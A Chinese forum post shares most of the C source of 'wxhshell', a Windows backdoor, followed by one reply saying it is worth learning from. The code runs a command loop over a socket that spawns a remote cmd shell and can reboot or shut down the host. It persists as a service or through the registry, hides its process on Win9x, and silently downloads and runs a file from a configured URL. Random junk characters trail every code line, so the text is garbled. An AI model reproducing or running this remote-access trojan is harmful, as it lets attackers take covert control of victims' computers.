  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {B_pjs  
  else ~fDMzOd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _ `RCY^t  
  } keBf^NY  
  else { -or^mNB_z  
aNLkkkJg<;  
    switch(cmd[0]) { >pVrY; P[  
  aq|R?  
  // 帮助 38[ko 3  
  case '?': { P9\!JH!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .K n)sD1  
    break; D]s8w  
  } !p4y@U{  
  // 安装 p..O;_U  
  case 'i': { z  DP  
    if(Install()) .)zX<~,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wxi|(}  
    else )tRqt9Th*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sU/R$Nbr  
    break; 7HpfHqJ7  
    } =ca<..yh[d  
  // 卸载 WI?iz-,](  
  case 'r': { ?ep'R&NV  
    if(Uninstall()) F>0[v|LG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UA{tmIC\  
    else h#o3qY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wQ4IQ!  
    break; f~RS[h`:  
    } !w!}`|q  
  // 显示 wxhshell 所在路径 qOusO6  
  case 'p': { h|MTE~   
    char svExeFile[MAX_PATH]; lDQ'  
    strcpy(svExeFile,"\n\r"); Zw)*+> +FV  
      strcat(svExeFile,ExeFile); T.fmEl  
        send(wsh,svExeFile,strlen(svExeFile),0); FuiEy=+  
    break; Nf#8V|  
    } RcASFBNpS  
  // 重启 !F|mCEU  
  case 'b': { 7^fpbrj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *6-fvqCv  
    if(Boot(REBOOT)) :DxCjv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wQ7G_kVp  
    else { J< E"ZoY  
    closesocket(wsh); oPX `/ X#  
    ExitThread(0); ^st.bzg+[  
    } 3N'fHy  
    break; 2f%G`4/p  
    } 6%p$C oR  
  // 关机 UogkQ& B  
  case 'd': { c\n&Z'vK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V>{G$(v$  
    if(Boot(SHUTDOWN)) Bc/'LI.%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M<A*{@4$w&  
    else { X_7cwPY  
    closesocket(wsh); Ag>E%N  
    ExitThread(0); A?DgeSm  
    } &nc 0stuL  
    break; urlwn*!^s  
    } (|6Y1``  
  // 获取shell bN ,>,hj  
  case 's': { 6 N%fJ   
    CmdShell(wsh); C)7T'[  
    closesocket(wsh); +B 4&$z  
    ExitThread(0); $#cZJ@;]  
    break; YpAJ7 E|7  
  } "k8Yc<`u  
  // 退出 b.`<T "y  
  case 'x': { ;{n@hM*O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e b])=  
    CloseIt(wsh); NV|[.g=lg  
    break; 6z/ct|n  
    } %{fa . >6  
  // 离开 4k HFfc  
  case 'q': { RGeM.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :QndeUw  
    closesocket(wsh); GTj=R$%09  
    WSACleanup(); <K~> :4c  
    exit(1); 9>t  
    break; 9@Iz:!oqb  
        } '`-W!g[ >  
  } AhZ`hj   
  } $[L8UUHY<8  
$`2rtF  
  // 提示信息 fZ9EE3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yj^LX2x"  
} -xJ_5  
  } %:v59:i}  
@R5jUPUVV  
  return; kWF/SsE  
} kQ,#NR/q6  
}!5x1F!  
// shell模块句柄 B!`Dj,_  
int CmdShell(SOCKET sock) P87!+pB(  
{ W\'njN  
STARTUPINFO si; X{n7)kgL  
ZeroMemory(&si,sizeof(si)); DcNQ2Zz?%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c+6/@y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WjyuaAWY  
PROCESS_INFORMATION ProcessInfo; E%eTjvvxus  
char cmdline[]="cmd"; dQ6n[$Q@N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -_m>C2$6x  
  return 0; 6.o8vC/PZ  
} &GF|Rr8NXs  
7x/S4Gs'4  
// 自身启动模式 E<[_L!2  
int StartFromService(void) -BY'E$]4  
{ bYuQ"K A$  
typedef struct 7eQE[C  
{ vybQ}dscn  
  DWORD ExitStatus; &1O!guq%  
  DWORD PebBaseAddress; R^}}-Dv r  
  DWORD AffinityMask; G}o?lo\#h  
  DWORD BasePriority; 6^W6As0  
  ULONG UniqueProcessId; hEO#uAR^Z  
  ULONG InheritedFromUniqueProcessId; 4H7 3a5f  
}   PROCESS_BASIC_INFORMATION; 9;Z2.P"w  
16iymiLz&  
PROCNTQSIP NtQueryInformationProcess; !Gv*iWg  
_(CuuP$`I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %X)i-^T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "6T: &>  
|4UU`J9M  
  HANDLE             hProcess; <@B zF0  
  PROCESS_BASIC_INFORMATION pbi; T6X%.tR>`  
45Z"U<I,9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8+m[ %5lu  
  if(NULL == hInst ) return 0; Qfhhceb6#J  
U=?hT&w\S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UbBo#(TZ)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GVFR^pzO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )$V&Nf  
Wvhg:vup  
  if (!NtQueryInformationProcess) return 0; u9WQ0.  
pNOVyyo>BW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2<d l23  
  if(!hProcess) return 0; F1V[8I.0  
?)B"\#`t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +]n.uA-`[a  
I91pX<NBf  
  CloseHandle(hProcess); ;Nw.  
-Jo8jE~>V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -IBf;"8f  
if(hProcess==NULL) return 0; Sm(QgZO[4  
N=qe*Rlf  
HMODULE hMod; ^*;{Uj+O~Y  
char procName[255]; ~[@Gj{6p0  
unsigned long cbNeeded; bYr;~ ^  
e=11EmN9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ];bl;BP  
Z[.+Wd\)-9  
  CloseHandle(hProcess); oB9t&yM  
d^"dL" Q6m  
if(strstr(procName,"services")) return 1; // 以服务启动 #!Iez vWf  
_Qy3A T~  
  return 0; // 注册表启动 )ca^%(25!z  
} @w1@|"6vF  
| v? pS  
// 主模块 DRldRm/  
int StartWxhshell(LPSTR lpCmdLine) j8@ Eqh  
{ l@+WGh  
  SOCKET wsl; jB8n\8 Bs  
BOOL val=TRUE; `={s*^Ta  
  int port=0; zNE"5  
  struct sockaddr_in door; ;().  
f%LzWXA  
  if(wscfg.ws_autoins) Install(); FHNK%Ko  
zw{cli&S  
port=atoi(lpCmdLine); #1MEmt  
,2F4S5F~rC  
if(port<=0) port=wscfg.ws_port; 8^fkY'x  
9N9dQ}[:g  
  WSADATA data; 0phO1h]2S)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  } z4=3 '  
F+;{s(wx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o C]tEXJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c65_E<5Z  
  door.sin_family = AF_INET; GW ]E,a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :kycIM]s  
  door.sin_port = htons(port); =e7,d$i  
ICNS+KsI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @=[/bG  
closesocket(wsl); Gt&x<  
return 1; o.tCw\M$g  
} 0B(<I?a/  
xF)AuGdp\  
  if(listen(wsl,2) == INVALID_SOCKET) { mU1lEx$  
closesocket(wsl); 1sFTXl  
return 1; Z, Kbt  
} Az.k6)~  
  Wxhshell(wsl); a :jRQ-F)  
  WSACleanup(); - b>"2B?  
8uyUvSB  
return 0; I)~&6@J n  
z/*nY?  
} Si<9O h  
^7`"wj14  
// 以NT服务方式启动 %K^l]tWa@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \Nc/W!r*9  
{ -GkNA"2M[  
DWORD   status = 0; ~L!*p0dS^  
  DWORD   specificError = 0xfffffff; $|v_ pjUu]  
rs01@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )u7*YlU\I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Wxl^f?I`:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _A*5BAB:h(  
  serviceStatus.dwWin32ExitCode     = 0; jB]tq2i  
  serviceStatus.dwServiceSpecificExitCode = 0; :sRV]!Iw  
  serviceStatus.dwCheckPoint       = 0; W1X\!Y  
  serviceStatus.dwWaitHint       = 0; G| pZ  
}$W4aG*[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .I{b]6  
  if (hServiceStatusHandle==0) return; ?45kN=%*s  
ScrEtN  
status = GetLastError(); ! /Z{uy  
  if (status!=NO_ERROR) = GirUW D  
{ I__|+%oC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ag^L' h$  
    serviceStatus.dwCheckPoint       = 0; !j8h$+:K  
    serviceStatus.dwWaitHint       = 0; 37 )Dx  
    serviceStatus.dwWin32ExitCode     = status; *F+t`<2  
    serviceStatus.dwServiceSpecificExitCode = specificError; QRnkj]b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~je#gVoUR  
    return; JGPLVw  
  } -UaUFJa8K&  
7<[p1C*B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o+W5xHe^1  
  serviceStatus.dwCheckPoint       = 0; ]=p@1  
  serviceStatus.dwWaitHint       = 0; 'iO?M'0gE#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &~P5 [[Q  
} }LS:f,1oGp  
~YHy '.  
// 处理NT服务事件,比如:启动、停止 @SA*7[?P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PF@+~FI  
{ vS-k0g;   
switch(fdwControl) ._m+@Uy]H}  
{ O=}4?Xv  
case SERVICE_CONTROL_STOP: '~i} 2e.  
  serviceStatus.dwWin32ExitCode = 0; wZVY h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P0J3ci}^  
  serviceStatus.dwCheckPoint   = 0; HlqvXt\  
  serviceStatus.dwWaitHint     = 0; Ktg{-Xl  
  { 9I8{2]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >N>WOLbb7(  
  } 9l2,:EQ*  
  return; &^e%gU8!\  
case SERVICE_CONTROL_PAUSE: #%k!`?^fbK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *6~ODiB  
  break; ;cl\$TDL  
case SERVICE_CONTROL_CONTINUE: 2g1[ E_?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jC1mui|Y^  
  break; R6HMi#eF  
case SERVICE_CONTROL_INTERROGATE: e Ll+F%@  
  break; ^"\ jIP  
}; O(;K ]8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hK9Trrwau  
} Dt)\q^bH)  
{dJC3/ Rf  
// 标准应用程序主函数 J& }/Xw)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U'zW; Lt  
{ mD-qJ6AM  
iph>"b$D  
// 获取操作系统版本 _f$8{&`k  
OsIsNt=GetOsVer(); 5Jq~EB{"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i rMZLc6  
w#eD5y~'oo  
  // 从命令行安装 Y 3r m')c  
  if(strpbrk(lpCmdLine,"iI")) Install(); IlsXj`!e  
O{a<f7 W  
  // 下载执行文件 pfgFHNH:  
if(wscfg.ws_downexe) { / ]_T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y0>asl  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'M185wDdAl  
} Ar4E $\W  
WS8m^~S@\  
if(!OsIsNt) { VO3&!uOd  
// 如果时win9x,隐藏进程并且设置为注册表启动 kA?a}   
HideProc(); Yu-e |:  
StartWxhshell(lpCmdLine); #+HLb  
} w\k|^  
else C J S  
  if(StartFromService()) )ALPMmlRs  
  // 以服务方式启动 M>dP 1  
  StartServiceCtrlDispatcher(DispatchTable); I&]d6,  
else HXhz|s0  
  // 普通方式启动 'gk.J  
  StartWxhshell(lpCmdLine); B PTQm4TN  
W-q2|NK  
return 0; G$pTTT6#  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八